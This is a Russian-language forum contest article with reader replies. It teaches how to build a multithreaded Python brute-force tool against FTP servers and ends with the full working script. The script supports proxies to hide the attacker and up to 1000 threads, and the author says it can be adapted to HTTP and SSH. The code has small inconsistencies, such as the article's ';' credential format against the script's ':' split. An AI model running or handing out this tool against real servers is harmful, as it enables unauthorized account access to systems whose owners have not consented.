Конкурс FTP брутфорс атака

g00db0y

g00db0y

Red Team
11.06.2018
84
332
Статья для участия в конкурсе Конкурс 2018 года - авторская статья по любой тематике нашего форума! - Codeby.net - Информационная Безопасность

Доброго времени суток! Сегодня я хочу продемонстрировать, как с помощью Python“a можно написать многопоточный брутфорс FTP серверов. Несмотря на то, что на данный момент доступно немало скриптов, которые могут справиться с этой задачей, но вряд ли их как-то можно модифицировать, исправить те или иные проблемы и прочее.

FTP брутфорс атака


Чтобы приступить к написанию скрипта, для начала, нужно определиться с библиотеками, которые будут использоваться. Главными библиотеками в коде будут являться ftplib и threading.
Ftplib — библиотека которая отвечает за ftp, и threading — за многопоточность.
Остальные, не очень важные: os (выход из программы)и urllib.request (работа с прокси).


Сначала мы импортируем все нужные библиотеки:

Python:
import os
import ftplib
import threading as Th
import urllib.request as ur
После этого я записываю input(), что бы потом ввести данные:

Python:
inp = input("ftpcr>").split()
Потом - все нужные переменные:

Python:
port = 21
th_num = 5
login = "anonymous"
password = "anonymous"
server = inp[0]
login и password уже имеют строку «anonymous», что бы сразу обозначить, имеет ли сервер защиту в виде пароля и логина.

Дальше я написал разбор input, что бы потом было проще использовать отдельные элементы:

Python:
if "-th" in inp:
    try:
        th_num = int(inp[inp.index("-th") + 1])
    except ValueError:
        print("You didn't write a threads number")
        raise SystemExit
       
if "-p" in inp:
    try:
        port = int(inp[inp.index("-p") + 1])
    except ValueError:
        print("You didn't write a port number")
        raise SystemExit
       
if "-pr" in inp:
    ur.install_opener(ur.build_opener(
        ur.ProxyHandler({
inp[inp.index("-pr") + 1].split(";")[0]: inp[inp.index("-pr") + 1].split(";")[1]})))
В 3 последних строках испльзуеться "urllib.request.ur.install_opener(ur.biuld_opener(ur.ProxyHandler()))" - шаблон для соединения с прокси-сервером.

"inp[inp.index("-pr") + 1].split(";")[0] : inp[inp.index("-pr") + 1].split(";")[1]" - в этой строке я использовал все туже переменную, что бы не заводить 2, которые потом так и не будут использоваться. Легчи из строки «... -pr 76.201.56.87:8080;http …» сделать 2 строки «https» и «76.201.56.87:8080», нежели создавать переменные.

Так же при использовании прокси, стоит указывать их именно так:

… -pr 76.201.56.87:8080;http …

… -pr 76.201.78.201:3737;https ...


Следующие строки нужны для открытия файла, который указывается в обязательном порядке в начале, а именно в input:

Python:
try:
     filepass = open(inp[1], "r")
except IndexError:
     print("File not found!")
     raise SystemExit
raise SystemExit
После этого идет главный механизм, который соединяет к ftp серверу, и в последующем подбирает пароль и логин:

Python:
def connect(login, password, port, server):
    try:
        ft = ftplib.FTP()
        ft.connect(host=server, port=port)
        ft.login(user=login, passwd=password)
        ft.quit()
        print("\nDONE!\n\t Login - ", login + "\n", "\tPassword -", password)
        os._exit(0)
       
    except ftplib.error_perm:
        print(login, ":", password, "- [-]")

    except ConnectionRefusedError:
        print("[E] The destination computer "
              "rejected the connection re"
              "quest.")
             
    except TimeoutError:
        print("[E] The program can't connect to "
              "the server!")
             
    except Exception as e:
        print("[E]", e)
        connect(login, password, port, server)
В функции уже включены многие варианты развития событий, и из-за этого в функции насчитывается большое количество «except»:
  • «except ftplib.error_perm» - пароль или логин не правильный
  • «except TimeoutError» - время ожидания вышло
  • «except Exception as e» - непредвиденная ошибка, выводит ее на экран
  • «except ConnectionRefusedError» - сервер отклонил соединение
Ниже на фотографии блок-схема программы:

FTP брутфорс атака


Теперь о многопоточности.

В коде я использовал не стандартный механизм запуска потоков, он не является эталоном, но, как не странно, прост в написании и понимании:

Python:
th = (Th.Thread(target=func, args=[port, filepass]) for i in range(th_num))
    for t in th:
        t.start()
    for t in th:
        t.join()
Th.Thread(target=func, args=[port, filepass]) — конструкция, которая всегда присутствует для реализации многопоточности при помощи библиотеки threading. Создается объект, который после этого запускается - «t.start()», при этом «t.join()» блокирует поток, в котором выполняются действия, до тех пор, пока этот поток не будет завершен.

В вызове поток, я использовал циклы, так как эта программа может принять как 1 поток, так и 1000, ведь все зависит от пользователя, и поэтому такая конструкция:

Python:
thread1 = threading.Thread(target=increment, args=("thread_01",0.5))
thread2 = threading.Thread(target=increment, args=("thread_02",1))

thread1.start()
thread1.join()

thread2.start()
thread2.join()
Была бы не правильной.

Ниже, вы можете увидеть, как схематично работает программа:

FTP брутфорс атака


Она за секунду отсылает n-количество запросов на ftp сервер. Так же хочу отметить, что 1000 потоков, практически не влияют на «средний компьютер», но иногда проскальзывают ошибки, которые связаны с некоторыми проблемами потоков.

Из-за того, что потоки работают не в определенном порядке, вывод в терминале неправильных паролей имеет такой вид:

FTP брутфорс атака


Для того чтобы вывод имел упорядоченный вид, нужно использовать способы организации (FIFO, FILO)


Чтобы скрипт читал строку из файла, и парсил все правильно, стоит прописывать логин и пароль следующим образом:
login0;pass0
login1;pass1
...
loginn;passn

Прокси сервер стоит указывать так:
… -pr 76.201.56.87:8080;http …
… -pr 76.201.78.201:3737;https ...


Вывод:
1. Программа легко поддается редактированию.

2. При редактировании, программа отлично будет справляться с брутфорс атаками на http, ssh, ... сервера .

3. Имеет многофункциональный механизм для многопоточной работы.


На этом все! Благодарю за внимание.

Python:
import os
import ftplib
import threading as Th
import urllib.request as ur

try:
    inp = input("ftpcr>").split()
except KeyboardInterrupt:
    print("Bye!")
    raise SystemExit

port = 21
th_num = 5
login = "anonymous"
password = "anonymous"
server = inp[0]

if "-th" in inp:
    try:
        th_num = int(inp[inp.index("-th") + 1])
    except ValueError:
        print("You didn't write threads number")
        raise SystemExit

if "-p" in inp:
    try:
        port = int(inp[inp.index("-p") + 1])
    except ValueError:
        print("You didn't write port number")
        raise SystemExit


if "-pr" in inp:

#proxy

    ur.install_opener(ur.build_opener(
        ur.ProxyHandler({
            inp[inp.index("-pr") + 1].split(";")[0]: inp[inp.index("-pr") + 1].split(";")[1]})))
try:
    filepass = open(inp[1], "r")
except IndexError:
    print("File not found!")
    raise SystemExit

#connect to the frp server

def connect(login, password, port, server):
    try:
        ft = ftplib.FTP()
        ft.connect(host=server, port=port)
        ft.login(user=login, passwd=password)
        ft.quit()
        print("\nDONE!\n\t Login - ", login + "\n", "\tPassword -", password)
        os._exit(0)
    except ftplib.error_perm:
        print(login, ":", password, "- [-]")

    except ConnectionRefusedError:
        print("[E] The destination computer "
              "rejected the connection re"
              "quest.")
    except TimeoutError:
        print("[E] The program can't connect to "
              "the server!")
    except Exception as e:
        print("[E]", e)
        connect(login, password, port, server)


def func(port, filepass):
    for line in filepass:
        login = line.split(":")[0]
        password = line.split(":")[1].replace("\n", "")
        connect(login, password, port, server)

#Threads

if __name__ == '__main__':

    print("[I] START")
    connect(login, password, port, server)
    th = (Th.Thread(target=func, args=[port, filepass]) for i in range(th_num))
    for t in th:
        t.start()
    for t in th:
        t.join()
 
Последнее редактирование модератором:
C

Cenzor

Active member
20.09.2017
29
37
Вы точно её запускали?
Сходу, не вчитываясь, интерпретатор у вас спросит, что за переменная inp? Где ты её инициализировал/определил?
Люди-то понимают, что скорее всего это ваша переменная input, но, голубчик, этож....... слов нет. Хоть запустили бы.

Ну, а если я не прав, то хотя бы код копируйте с рабочего варианта программы.
 
g00db0y

g00db0y

Red Team
11.06.2018
84
332
Вы точно её запускали?
Сходу, не вчитываясь, интерпретатор у вас спросит, что за переменная inp? Где ты её инициализировал/определил?
Люди-то понимают, что скорее всего это ваша переменная input, но, голубчик, этож....... слов нет. Хоть запустили бы.

Ну, а если я не прав, то хотя бы код копируйте с рабочего варианта программы.
FTP брутфорс атака


Я запускал программу, иначе не было бы такой фотографии. Код был скопирован с рабочего варианта. Если у вас есть какие-то определенные проблемы с программой, обращайтесь в личку, помогу.
 
C

Cenzor

Active member
20.09.2017
29
37
Я запускал программу, иначе не было бы такой фотографии
Вы о чём? Вы глаза откройте, вы в переменную server пытаетесь записать элемент несуществующего списка (inp) с индексом 0
Python:
server = inp[0]
У вас сразу вылетит
Python:
NameError: name 'inp' is not defined
Либо исправить
Python:
input = input("ftpcr>").split()
на
Python:
inp = input("ftpcr>").split()
, либо использовать список input везде в коде, вместо inp
 
  • Нравится
Реакции: explorer
g00db0y

g00db0y

Red Team
11.06.2018
84
332
Вы о чём? Вы глаза откройте, вы в переменную server пытаетесь записать элемент несуществующего списка (inp) с индексом 0
Python:
server = inp[0]
У вас сразу вылетит
Python:
NameError: name 'inp' is not defined
Либо исправить
Python:
input = input("ftpcr>").split()
на
Python:
inp = input("ftpcr>").split()
, либо использовать список input везде в коде, вместо inp
Так вы про отдельный кусок кода, тогда понятно. Просто ниже я предоставил рабочую версию, с уже исправленым вариантом
 
explorer

explorer

Red Team
05.08.2018
679
1 480
Так, горячие парни... ТС - у нужно быть внимательней, а Cenzor молодец, замечание верное.
Код отредактировал.
 
  • Нравится
Реакции: g00db0y и Cenzor
C

Cenzor

Active member
20.09.2017
29
37
Я без эмоций, исключительно академический интерес
 
  • Нравится
Реакции: g00db0y
Мы в соцсетях: